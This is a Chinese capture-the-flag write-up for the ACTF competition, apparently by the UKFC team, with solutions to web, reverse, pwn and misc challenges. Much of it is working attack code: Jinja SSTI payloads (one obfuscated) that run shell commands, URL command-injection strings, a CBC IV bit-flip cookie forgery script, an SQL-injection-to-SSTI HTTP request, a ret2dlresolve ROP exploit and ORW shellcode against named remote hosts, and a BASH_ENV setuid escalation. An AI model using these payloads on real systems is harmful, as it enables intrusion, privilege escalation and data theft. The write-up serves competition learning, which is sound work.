import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)
app = Flask(__name__)
app.secret_key = "x8j2k9m3n7p4q6r8t1u5v0w2y4z6a8b0"
KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"
ADMIN_PASSWORD = "G7kP9mW3qT2rY6zN8vX4jL0tF5hR1cB"
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def validate_cookie(cookie: str) -> bool:
if not cookie:
return False
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False
if len(cookie_encrypted) < 32:
return False
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False
try:
_ = json.loads(cookie_json)
except Exception:
return False
return True
def parse_cookie(cookie: str) -> Tuple[bool, str]:
if not cookie:
return False, ""
try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""
if len(cookie_encrypted) < 32:
return False, ""
try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""
try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""
return True, cookie_dict.get("name")
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))
user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))
if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp
if __name__ == "__main__":
app.run()
import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)
app = Flask(__name__)
app.secret_key = "123123"
KEY = b'abcdefghijklmnop'
ADMIN_PASSWORD = "123123"
class APPUser:
name: str
password_raw: str
register_time: int
# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}
def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
print(padded)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
# print(cipher)
encrypted = cipher.encrypt(padded)
# print(encrypted)
return base64.b64encode(iv + encrypted).decode()
if __name__ == "__main__":
print(generate_cookie(users["admin"]))
import base64
# 假设这是从注册 "admxn" 后获取的 cookie
cookie = "jwbcookie=CCv+CVNuiBWdutXFzr0e7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"
# 提取 cookie 值
cookie_value = cookie.split("=", 1)[1]
# base64 解码
cookie_bytes = base64.b64decode(cookie_value)
# 分离 IV 和加密数据
iv = cookie_bytes[:16]
encrypted_data = cookie_bytes[16:]
# 计算需要翻转的字节
# 目标:将 "admxn" 的 'x' (120) 翻转为 'i' (105)
# JSON 格式:{"name": "admxn", ...}
# "x" 在第一个块的第 11 个字节(从 0 开始计数)
pos = 13 # 'x' 的位置
delta = ord('x') ^ ord('i') # 120 ^ 105 = 17
# 修改 IV 的第 11 个字节
iv_list = list(iv)
print(iv_list[pos])
iv_list[pos] = iv_list[pos] ^ delta
print(iv_list[pos])
modified_iv = bytes(iv_list)
# 生成新的 cookie
modified_cookie_bytes = modified_iv + encrypted_data
modified_cookie = base64.b64encode(modified_cookie_bytes).decode()
# 输出修改后的 cookie
print("Original Cookie:", cookie_value)
print("Modified Cookie:", modified_cookie)
print("Use this cookie to access /home as admin:")
print(f"jwbcookie={modified_cookie}")
import base64
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 给定的 cookie
cookie = "jwbcookie=CCv+CVNuiBWdutXFzqwe7/9QDZxH3RXakEVP60qLwl74QOYJ6xGxZfBg6XPUAPFe+GwQ2NqPgPihMS8i0Mgzvaly0ap0yguHgIw+w5nFoARpUUr3d3mvFZKUhwWtez3R"
cookie_b64 = cookie.replace("jwbcookie=", "")
# 解码 base64
cookie_bytes = base64.b64decode(cookie_b64)
# 分离 IV 和加密数据
iv = cookie_bytes[:16]
encrypted_data = cookie_bytes[16:]
# 假设的密钥(16 字节),实际使用时需替换为真实密钥
KEY = b"k9m3n7p4q6r8t1u5v0w2y4z6a8b0x8j2"
# 创建 AES-CBC 解密器
cipher = AES.new(KEY, AES.MODE_CBC, iv)
# 解密并去除填充
try:
decrypted = cipher.decrypt(encrypted_data)
padded = unpad(decrypted, 16) # 去除 PKCS7 填充
json_str = padded.decode('utf-8') # 转换为字符串
cookie_dict = json.loads(json_str) # 解析 JSON
print("还原的 padded(JSON 格式):", cookie_dict)
except ValueError as e:
print("解密失败,可能是密钥错误或数据损坏:", e)
/home?payload={{(QAQ.__eq__.__globals__.sys.modules.os.popen('cat f*')).read()}}
Upload 普通用户进去目录穿越读源码,然后拿去碰撞一下密码,在admin下面有一个存在命令拼接的点file_path直接拼接进去的不出网rce,发现能任意写 GET /upload?file_path=0;%20ls%20/>%20/test%20%23
Fl4g_is_H3r3
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
test
tmp
usr
var
GET /uplod?file_path=0;%20cat%20/Fl4g_is_H3r3>%20/test%20%23
Excellent-Site 利用 /report 路由的邮件头注入,构造一封邮件,设置 Subject 为可控 URL,并注入 From: [email protected] 以满足 get_subjects 的条件。 通过 SQLite 注入控制 /news 路由的响应,打SSTI,然后访问 /bot 触发 /admin里面的render POST /report HTTP/1.1
Host: 223.112.5.141:59122
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Content-Length: 66
url=http%3A%2F%2Fezmail.org%3A3000%2Fnews%3Fid%3D-1+union+select+%27%7B%7B+url_for.__globals__%5B%27%27__builtins__%27%27%5D%5B%27%27__import__%27%27%5D%28%27%27os%27%27%29.system%28%27%27cat+%2Fflag+%3E+templates%2Findex.html%27%27%29+%7D%7D%27
not so web 2 明文 username 直接换 admin 再进去就行 {"user_name": "admin", "login_time": 1745665984}&91f48825c577ce98f9c611681521eb05c92d1e17748e9e74e6b4928726e11bcf13aa8306350e1fc2e5d8ed00437cca189360dcc5489dd59f35aeee8c40eab121f35b0f2953fc5b7d48359ec5789baa302fae6e8f1c0f87943497ce5a3147daa5bbe780bbe637f73d7f95f8a2528e2fe06777634384bffea5cd865ee3999dc6fe0d475ae9fc2086d4b037c66ab20cb2b31215d0cd2c0e32643a59cca40315cbfa51ddf63a8e7c025d6be2247c18ea62c4f76c8c4f25b2cf0361c47f0cdc7105e27eb54bb84ef6512a84164f1f7d41370ddb0896b4f7373805414949e71004e5e2ca64dbdb74c5ad65007d189d8fcc72bc2878bd06848fadd0ff39f1ca6ced5c08 写个转接口本地fenjing打 {{((sbwaf|attr(lipsum|escape|batch(22)|list|first|last|attr("\x5f\x5fadd\x5f\x5f")(lipsum|escape|batch(22)|list|first|last)~"qe"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\x5f\x5fadd\x5f\x5f")(lipsum|escape|batch(22)|list|first|last)))[lipsum|escape|batch(22)|list|first|last|attr("\x5f\x5fadd\x5f\x5f")(lipsum|escape|batch(22)|list|first|last)~"slabolg"[::-1]~lipsum|escape|batch(22)|list|first|last|attr("\x5f\x5fadd\x5f\x5f")(lipsum|escape|batch(22)|list|first|last)].sys.modules.os.popen("*f tac"[::-1])).read()}}
Reverse ezFPGA 四个字节为单位,逐位乘构造一个6x6的矩阵,与给定的矩阵做点乘。结果与rc4的密钥流逐位相加后比对。 由于过程中只保留了一个字节的信息,考虑z3解。 from z3 import Solver, BitVec, sat
def rc4(key):
key_len = len(key)
sbox = list(range(256))
j = 0
for i, v in enumerate(sbox):
j = (j + v + key[i % key_len]) & 0xFF
sbox[i], sbox[j] = sbox[j], v
i = j = 0
res = [0] * 36
for n in range(36):
i = (i + 1) & 0xFF
si = sbox[i]
j = (j + si) & 0xFF
sj = sbox[j]
sbox[i], sbox[j] = sj, si
res[n] = sbox[(si + sj) & 0xFF]
return res
def solve():
plain = [0xAD,0x00,0xC0,0x9F,0x16,0x17,0xEC,0x25,0x25,0x1F,0x12,0xE2,0x7F,0x9F,0x37,0x53,0x12,0xBA,0x8D,0x38,0x60,0x14,0x1B,0x31,0x8E,0x13,0xE2,0x56,0x0A,0x1A,0x25,0xB9,0x80,0x73,0x8A,0x60]
key = b'eclipsky'
rc4_res = rc4(key)
key1 = [11,4,5,14]
key2 = [116,174,193,124,102,100,11,193,115,4,127,139,98,214,197,145,97,151,31,30,117,15,230,179,235,25,244,202,73,222,15,191,119,140,94,32]
for ts in range(39, 8, -1):
s = Solver()
flag = [BitVec(f'f{i}', 8) for i in range(39)]
fir = [(flag[i]*key1[0] + flag[i+1]*key1[1] + flag[i+2]*key1[2] + flag[i+3]*key1[3]) & 0xFF for i in range(36)]
sum_l = [sum(fir[i*6+k]*key2[j+k*6] for k in range(6)) & 0xFF for i in range(6) for j in range(6)]
for k, v in enumerate(plain):
s.add((sum_l[k] + rc4_res[k]) & 0xFF == v)
s.add(flag[0]==ord('A'),
flag[1]==ord('C'),
flag[2]==ord('T'),
flag[3]==ord('F'),
flag[4]==ord('{'),
flag[ts-1]==ord('}'))
if s.check() == sat:
m = s.model()
print(''.join(chr(m[flag[i]].as_long()) for i in range(36)))
if __name__ == "__main__":
solve()
ACTF{RC4_4nd_FPGA_w4lk_1nt0_4_b4r} Pwn AFL 题目包含 afl-fuzz ,harness, wrapper.py 三个文件,其中对 wrapper.py 进行分析,发现该脚本除连接时需要的工作量证明验证,主要的作用是将用户输入的 Shellcode 写入到 /tmp/shellcode.bin 文件中并执行 timeout 5m ./afl-fuzz -i ./input -o ./output -- ./harness #(简化版)
这表明我们的 Shellcode 会由 afl-fuzz 进行检查,并且检查收集信息的程序是 harness ,我们无法看到 input 文件夹的样例输入,所以我们暂时无视它 我们把重心放到 harness 程序上 我们写的 Shellcode 被映射到了 0x10000 的位置,并且还给了一个 0x20000 的可读写位置 这里还有沙箱保护,我们可以使用 seccomp-tools 查看 我们知道这是一个 ORW 类型的题目,理论上编写对应的 Shellcode 即可 但我们发现如果通过 AFL-Fuzz 启动的 harness 的 stdout 和 stderr 被定位到了 /dev/null 里,所以说我们的输出等于半残废,在不考虑恢复标准输出的方法,可以把这个当成一个没有 write() 的题目,那么我们可以使用侧信道的方式来逐位爆破 Flag ,通过汇编的无限循环以及程序非正常结束返回给模糊测试程序的返回值来判断该位是否正确 由于似乎这个测试程序实际不会限制 ORW 的 Shellcode ,我们不需要进行一些类似于免杀的优化,直接写就行,唯一的问题可能就是这个 Flag 位置太鸡贼了,实测需要访问 /home/ctf/flag 才能成功 from pwn import *
import hashlib
start = ["./afl-fuzz", "-i", "./input", "-o", "./output", "-t", "60000" ,"--", "./harness"]
elf = context.binary = ELF(filename)
gdbscript = '''
b main
'''
orwcode = (
"""
xor rax, rax;
add rax, 0x2;
mov rdi, 0x67616c662f66;
push rdi;
mov rdi, 0x74632f656d6f682f;
push rdi;
mov rdi, rsp;
xor rsi, rsi;
syscall;
mov rdi, rax;
xor rax, rax;
mov rsi, rsp;
mov rdx, 0x100;
syscall;
"""
)
# checkopen = (
# """
# xor rax, rax;
# add rax, 0x2;
# mov rdi, 0x67616c662f66;
# push rdi;
# mov rdi, 0x74632f656d6f682f;
# push rdi;
# mov rdi, rsp;
# xor rsi, rsi;
# syscall;
# cmp rax, 0x4;
# je label;
# mov rax, 0x3b;
# syscall;
# label:
# mov rdi, rax;
# xor rax, rax;
# mov rsi, rsp;
# mov rdx, 0x100;
# syscall;
# """
# )
def start():
if args.ATTACH:
global isAttach
isAttach = 1
return process(start)
elif args.GDB:
return gdb.debug(start, gdbscript = gdbscript)
elif args.REMOTE:
return remote(host, port)
elif args.BRUTE:
return remote(host, port)
else:
return process(start)
def solve(prefix):
chars = string.printable
for i in range(1, 10):
for combo in itertools.product(chars, repeat=i):
answer = ''.join(combo)
concat = prefix + answer
digest = hashlib.sha256(concat.encode()).digest()
bits = ''.join(bin(b)[2:].zfill(8) for b in digest)
if bits[:12] == '0' * 12:
io.close()
break
onlyread 十分简洁的题目,只有一个可以溢出的 read() ,没有输出函数,几乎没有很多有用的 gadget 看一眼保护,发现是 Partial RELRO,没有 PIE 在这种保护下,如果不想通过爆破库函数低位偏移的方式来使用 open() 和 write() 的话,我们可以使用相对偏移,伪造 linkmap 并结合 re2dlresolve 来使得程序去执行在 libc 中想要的函数,甚至是某个地址,这里直接使用了 one_gadget 由于没有可以直接控制参数的 gadget 我们可以借助唯一能找到的 pop rsp; ret; 结合主函数的 read() 片段来进行任意已知地址读写 0x800 大小,我们利用这个来写入伪造的内容和构造攻击链 #!/usr/bin/env python3
'''
author: lufiende
time: 2025-04-26 18:04:22
'''
from pwn import *
from LibcSearcher import *
import os
import sys
import time
from ctypes import *
# For local
filename = "only_read_patched"
libcname = "/home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
# For remote
host = "1.95.199.251"
port = 9999
# For docker
container_id = ""
proc_name = ""
# For GDB
isAttach = 0
gdbscript = '''
b main
set debug-file-directory /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
set directories /home/lufiende/Tools/CTF/Pwn/Glibc-pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39
'''
# For Elf info
filearch = 'amd64'
context.log_level = 'debug'
context.os = 'linux'
context.arch = filearch
context.terminal = ["/mnt/c/Windows/System32/cmd.exe", '/c', 'start', 'wsl.exe', '-d', 'Kali-linux', '-u', 'lufiende']
# Load the binary
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
# Set up start function
def start():
if args.ATTACH:
global isAttach
isAttach = 1
return process(elf.path)
elif args.GDB:
return gdb.debug(elf.path, gdbscript = gdbscript)
elif args.REMOTE:
return remote(host, port)
elif args.DOCKER:
import docker
from os import path
p = remote(host, port)
client = docker.from_env()
container = client.containers.get(container_id=container_id)
processes_info = container.top()
titles = processes_info['Titles']
processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
target_proc = []
for proc in processes:
cmd = proc.get('CMD', '')
exe_path = cmd.split()[0] if cmd else ''
exe_name = path.basename(exe_path)
if exe_name == proc_name:
target_proc.append(proc)
idx = 0
if len(target_proc) > 1:
for i, v in enumerate(target_proc):
print(f"{i} => {v}")
idx = int(input(f"Which one:"))
import tempfile
with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
tmp.write(f'shell rm {tmp.name}n{gs}')
print(tmp.name)
run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
return p
else:
return process(elf.path)
def dbg():
if isAttach:
gdb.attach(io, gdbscript = gdbscript)
pause()
io = start()
######################### Your Code Here #########################
io.recvuntil(b'generated by `')
shell = io.recvuntil(b'`')[:-1]
shell = shell.decode()
log.info(f"shell: {shell}")
output = os.popen(shell).read()
output = output.split(' ')
io.send(output[0].encode())
paddings = 128
pltinit_addr = 0x401026
read_gadget = 0x401142
main_addr = elf.symbols['main']
read_plt = elf.plt['read']
read_got = elf.got['read']
open_off = libc.symbols['open']
write_off = libc.symbols['write']
read_off = libc.symbols['read']
puts_off = libc.symbols['puts']
system_off = 0xef52b
leave_ret = 0x40115D
pop_rbp = 0x40111D
l_addr_poprdi = system_off - read_off # 并非 pop rdi 和 system 其实是 onegadget
l_addr_puts = puts_off - read_off
data_addr = 0x404010
data_stack1 = 0x404100
data_stack2 = 0x404300
data_stack3 = 0x404d00
linkmap = p64(l_addr_poprdi & 0xffffffffffffffff) # l_addr_poprdi
linkmap += p64(0)
linkmap += p64(data_stack1 + 0x18)
linkmap += p64((data_stack1 + 0x30 - l_addr_poprdi) & 0xffffffffffffffff)
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(read_got - 0x8)
linkmap += p64(0)
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(data_stack1)
linkmap += p64(data_stack1 + 0x38)
linkmap = linkmap.ljust(0x80,b'A')
linkmap += p64(data_stack2 - 8)
linkmap += p64(leave_ret)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(data_stack1 + 0x8)
linkmap = linkmap.ljust(0x200,b'x00')
log.info("Read 1st")
payload1 = b'A' * paddings + p64(0) + p64(pop_rbp) + p64(data_stack1 + 0x80) + p64(read_gadget)
pause()
io.send(payload1)
log.info("Read 2nd")
payload2 = linkmap + p64(main_addr)
pause()
io.send(payload2)
log.info("Read 3rd")
payload2 = b'A' * paddings + p64(0) + p64(pop_rbp) + p64(data_stack3 + 0x80) + p64(read_gadget)
pause()
io.send(payload2)
log.info("Read 4th")
payload4 = b'a' * paddings + p64(main_addr) * 2
pause()
io.send(payload4)
dbg()
log.info("Read 5th")
payload4 = b'a' * paddings + p64(0) + p64(pop_rbp) + p64(0x404f00) + p64(pltinit_addr) + p64(data_stack1)
pause()
io.send(payload4)
##################################################################
io.interactive()
Misc Hard guess 题目描述: 啊……远野君坚持让我为他的新项目学习计算机。这个VPS东西正好在打折,所以……教程上说“/root”文件是受保护的……(停顿,看向屏幕)它们不可能泄露吧……?——加藤惠 附件下载是个网页,关于加藤惠的介绍,有这样的信息: 来自秋人远野的安全通知 发布于2天前 | 标签:安全 | 未读 惠小姐,请注意: 1. 不要将SSH用户名设置为“KatoMegumi”(太容易被猜到了!)。 2. 不要使用名字+生日组合作为密码,比如“Megumi19960923”之类的……我猜。 3. 服务器日志显示昨天有人试图暴力破解你的SSH! 那么应该是在给的在线场景猜出用户名和密码,然后到/root里面找到flag KatoMegumi Megumi960923 /opt下面有个hello intmain(int argc, constchar **argv, constchar **envp){
char v4 = 'n'; // Initialize with default value
// Set user and group ID to root
setuid(0);
setgid(0);
// Prompt user
printf("Are you Tomoya?ny/n:n> ");
scanf("%c", &v4);
// Clear potentially dangerous environment variables
if (getenv("LD_PRELOAD")) unsetenv("LD_PRELOAD");
if (getenv("LD_LIBRARY_PATH")) unsetenv("LD_LIBRARY_PATH");
if (getenv("LD_AUDIT")) unsetenv("LD_AUDIT");
if (getenv("LD_DEBUG")) unsetenv("LD_DEBUG");
if (getenv("LIBRARY_PATH")) unsetenv("LIBRARY_PATH");
// Set safe PATH
setenv("PATH", "/bin", 1);
// Handle user input
if (v4 == 'y') {
system("echo 'Hello!'");
} else if (v4 == 'n') {
system("bash -c "echo 'Who are you?'"");
} else {
printf("emm? ...n");
}
return 0;
}
清除了LD_PRELOAD等一堆东西,重置了PATH环境为/bin 用BASH_ENV KatoMegumi@00a6d3960137:~$ echo '/bin/bash'>1
KatoMegumi@00a6d3960137:~$ chmod +x 1
KatoMegumi@00a6d3960137:~$ export BASH_ENV=~/1
KatoMegumi@00a6d3960137:~$ /opt/hello
Are you Tomoya?
y/n:
> n
https://blog.csdn.net/m0_68636078/article/details/142423736
Movie master tt0017136 tt8893624 tt0109946 tt17526714 tt31309480 tt34382036 tt8503618 tt0368226 tt0103767 tt0110912 tt0109688 tt26471411 tt0043306 tt5004766
ACTF{IMDBMASTER_uw@tcHed@L0toFmoV1e|tt0118694} QRCode 先尝试让AI用他的思路去写解题代码,搞不出来,不是生成的1数量超标就是直接投影出问题,像下面这样,就是差那么一点,没法识别 这时候就需要人工介入了,然后这个题目的关键就是满足投影能被识别的前提下有尽可能少的1,那么我就可以先满足识别的要求,然后再去考虑每一个位置删掉这个1会不会影响识别,然后往下降1的数量 最后就是AI生成解题脚本,deepseek🐂,脚本一字没动 import qrcode
from pwn import *
import hashlib
import itertools
import string
import random
def generate_qr_matrix(content):
"""生成21x21的QR码布尔矩阵"""
qr = qrcode.QRCode(
version=1,
error_correction=qrcode.constants.ERROR_CORRECT_L,
box_size=1,
border=0
)
qr.add_data(content)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
return [[img.getpixel((x, y)) == 0 for y in range(21)] for x in range(21)]
def build_initial_data(front, left, top):
"""构建满足投影约束的初始三维数组"""
# 初始化全1三维数组
data = [[[True for _ in range(21)] for _ in range(21)] for _ in range(21)]
# 应用投影0约束
for x in range(21):
for y in range(21):
if not front[x][y]:
for z in range(21):
data[x][y][z] = False
for y in range(21):
for z in range(21):
if not left[y][z]:
for x in range(21):
data[x][y][z] = False
for x in range(21):
for z in range(21):
if not top[x][z]:
for y in range(21):
data[x][y][z] = False
# 确保投影1区域至少存在一个1
for x in range(21):
for y in range(21):
if front[x][y] and not any(data[x][y]):
z = random.randint(0, 20)
data[x][y][z] = True
for y in range(21):
for z in range(21):
if left[y][z] and not any(data[x][y][z] for x in range(21)):
x = random.randint(0, 20)
data[x][y][z] = True
for x in range(21):
for z in range(21):
if top[x][z] and not any(data[x][y][z] for y in range(21)):
y = random.randint(0, 20)
data[x][y][z] = True
return data
def optimize_data(data):
"""优化数据减少1的数量"""
# 获取所有1的位置并随机排序
candidates = [(x,y,z) for x,y,z in itertools.product(range(21), repeat=3) if data[x][y][z]]
random.shuffle(candidates)
for x,y,z in candidates:
# 临时移除当前点
data[x][y][z] = False
# 检查三个投影是否仍然有效
front_valid = any(data[x][y]) # 前视图验证
left_valid = any(data[xx][y][z] for xx in range(21)) # 左视图验证
top_valid = any(data[x][yy][z] for yy in range(21)) # 顶视图验证
# 如果任一投影失效则恢复
if not (front_valid and left_valid and top_valid):
data[x][y][z] = True
return data
def solve_pow(suffix, target):
"""解决Proof of Work"""
charset = string.ascii_letters + string.digits
for prefix in itertools.product(charset, repeat=4):
prefix = ''.join(prefix)
if hashlib.sha256(f"{prefix}{suffix}".encode()).hexdigest() == target:
return prefix
return None
def main():
# 生成目标QR码
front = generate_qr_matrix("Azure")
left = generate_qr_matrix("Assassin")
top = generate_qr_matrix("Alliance")
# 构建三维数据结构
data = build_initial_data(front, left, top)
# 执行优化操作(多轮次优化)
for _ in range(3):
data = optimize_data(data)
# 生成输入字符串
input_str = ''.join('1' if data[x][y][z] else '0'
for z in range(21)
for y in range(21)
for x in range(21))
# 验证输入有效性
assert len(input_str) == 21**3, "长度校验失败"
assert input_str.count('1') < 390, f"1的数量超标:{input_str.count('1')}"
assert all(c in '01' for c in input_str), "包含非法字符"
# 网络交互流程
r = remote('1.95.71.197', 9999)
# 处理Proof of Work
challenge = r.recvline().decode().strip()
suffix = challenge.split('+')[1].split(')')[0]
target_hash = challenge.split('== ')[1]
prefix = solve_pow(suffix, target_hash)
r.sendlineafter('XXXX:', prefix)
# 提交数据
r.sendlineafter('data:', input_str)
print(r.recvall().decode())
if __name__ == "__main__":
main()
ACTF{QQQRCode_is_iiint3r3st1ng}
原文始发于微信公众号(UKFC安全):UKFC2024 ACTF WP
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论